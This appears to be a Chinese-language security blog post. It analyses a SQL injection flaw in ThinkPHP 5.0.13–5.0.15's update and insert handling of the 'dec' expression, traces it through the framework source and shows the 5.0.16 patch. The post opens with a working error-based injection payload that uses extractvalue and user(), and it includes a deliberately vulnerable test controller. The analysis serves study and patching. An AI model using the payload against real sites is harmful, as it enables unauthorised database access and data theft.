0x01 前言
听说thinkphp又出事了,之前看过一次tp5的源码,不过只看了查询(select)的过程,这次问题出在update和insert中,但是归根结底还是fileExp()这个函数出了问题,分析过程有部分重复,建议配合前文食用:)
0x02 准备工作
根据payload
| 1
 | name[0]=dec&name[1]=1 and (extractvalue(1,concat(1,(user()))))#&name[2]=1
 | 
dec是thinkphp实现的一个sql的表达式,和之前的not like性质类似。
dec这个表达式是在5.0.13新实现的,该漏洞在5.0.16被修复,所以影响范围也在这之间。
测试代码:
application\index\controller\Index.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?phpnamespace app\index\controller;
 
 class Index
 {
 public function index()
 {
 $username = input('post.name/a');
 db('user')->where(['id'=> 1])->update(['username'=>$username]);
 }
 }
 
 | 
0x03 分析
这个函数可以看之前的文章Thinkphp5实现安全数据库操作以及部分运行流程分析的3.1部分,流程是相同的。
3.2 update()
直接定位到这个漏洞关键点,thinkphp/library/think/db/Builder.php的update函数。
具体定位过程可以看之前文章的3.2部分。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | 
 
 
 
 
 
 public function update($data, $options)
 {
 $table = $this->parseTable($options['table'], $options);
 $data  = $this->parseData($data, $options);
 if (empty($data)) {
 return '';
 }
 foreach ($data as $key => $val) {
 $set[] = $key . '=' . $val;
 }
 
 $sql = str_replace(
 ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
 [
 $this->parseTable($options['table'], $options),
 implode(',', $set),
 $this->parseJoin($options['join'], $options),
 $this->parseWhere($options['where'], $options),
 $this->parseOrder($options['order'], $options),
 $this->parseLimit($options['limit']),
 $this->parseLock($options['lock']),
 $this->parseComment($options['comment']),
 ], $this->updateSql);
 
 return $sql;
 }
 
 | 
问题出在更新数据处,跟进parseData函数。
3.2.1 parseData()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 
 | 
 
 
 
 
 
 
 protected function parseData($data, $options)
 {
 if (empty($data)) {
 return [];
 }
 
 
 $bind = $this->query->getFieldsBind($options['table']);
 if ('*' == $options['field']) {
 $fields = array_keys($bind);
 } else {
 $fields = $options['field'];
 }
 
 $result = [];
 foreach ($data as $key => $val) {
 $item = $this->parseKey($key, $options);
 if (is_object($val) && method_exists($val, '__toString')) {
 
 $val = $val->__toString();
 }
 if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
 if ($options['strict']) {
 throw new Exception('fields not exists:[' . $key . ']');
 }
 } elseif (is_null($val)) {
 $result[$item] = 'NULL';
 
 } elseif (is_array($val)) {
 switch ($val[0]) {
 case 'exp':
 $result[$item] = $val[1];
 break;
 case 'inc':
 $result[$item] = $this->parseKey($val[1]) . '+' . $val[2];
 break;
 case 'dec':
 $result[$item] = $this->parseKey($val[1]) . '-' . $val[2];
 break;
 }
 } elseif (is_scalar($val)) {
 
 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
 $result[$item] = $val;
 } else {
 $key = str_replace('.', '_', $key);
 $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
 $result[$item] = ':data__' . $key;
 }
 }
 }
 return $result;
 }
 
 | 
可以看到当$val是数组时,会将其第一个元素取出来作为表达式。这里有exp、des、inc三个表达式,但是exp已经被过滤了(filterExp里的第一个。。。)。第二个元素进入了parseKey函数,第三个元素没有任何操作直接拼接。跟进parseKey()看一下:
3.2.2 parseKey()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | 
 
 
 
 
 
 protected function parseKey($key, $options = [])
 {
 return $key;
 }
 
 | 
emmmm,不要慌。thinkphp/library/think/db/Builder.php只是一个抽象类,具体实现在这里
thinkphp/library/think/db/builder/Mysql.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | 
 
 
 
 
 
 protected function parseKey($key, $options = [])
 {
 $key = trim($key);
 if (strpos($key, '$.') && false === strpos($key, '(')) {
 
 list($field, $name) = explode('$.', $key);
 $key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';
 } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
 list($table, $key) = explode('.', $key, 2);
 if ('__TABLE__' == $table) {
 $table = $this->query->getTable();
 }
 if (isset($options['alias'][$table])) {
 $table = $options['alias'][$table];
 }
 }
 if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
 $key = '`' . $key . '`';
 }
 if (isset($table)) {
 if (strpos($table, '.')) {
 $table = str_replace('.', '`.`', $table);
 }
 $key = '`' . $table . '`.' . $key;
 }
 return $key;
 }
 
 | 
并没有什么过滤,不过在某些情况下会用反引号把字段的值包起来,可能会影响payload的构造。
经过这么一系列操作构造出来的sql语句像下面这样:
| 12
 3
 
 | update `user` set username=1 #name[1] 可控- #name[0] dec => -
 1 #name[2] 可控
 
 | 
有两处可控,约等于为所欲为。

3.3 insert()
thinkphp/library/think/db/Builder.php构造insert语句的时候同样使用了parseData()函数,也存在问题。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | 
 
 
 
 
 
 
 public function insert(array $data, $options = [], $replace = false)
 {
 
 $data = $this->parseData($data, $options);
 }
 
 | 
0x04 防御
thinkphp在5.0.16版本修复了这个漏洞,并没有在filterExp函数中增加过滤,补丁如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | elseif (is_array($val) && !empty($val)) {switch ($val[0]) {
 case 'exp':
 $result[$item] = $val[1];
 break;
 case 'inc':
 if ($key == $val[1]) {
 $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
 }
 break;
 case 'dec':
 if ($key == $val[1]) {
 $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
 }
 break;
 }
 }
 
 | 
加了一个判断,保证$val[1]为对应的字段名,并且把$val[2]进行了强制类型转换。
最后说一句,漏洞的利用是建立在thinkphp接受数组形式的参数的基础上,虽然这种写法在查询中非常少见,但是在更新、插入的时候还是有相应的需求的。总而言之,一切用户输入都是有害的,还是那句话,框架只是简化开发的一种工具,并不能把应用安全全部交给框架来处理。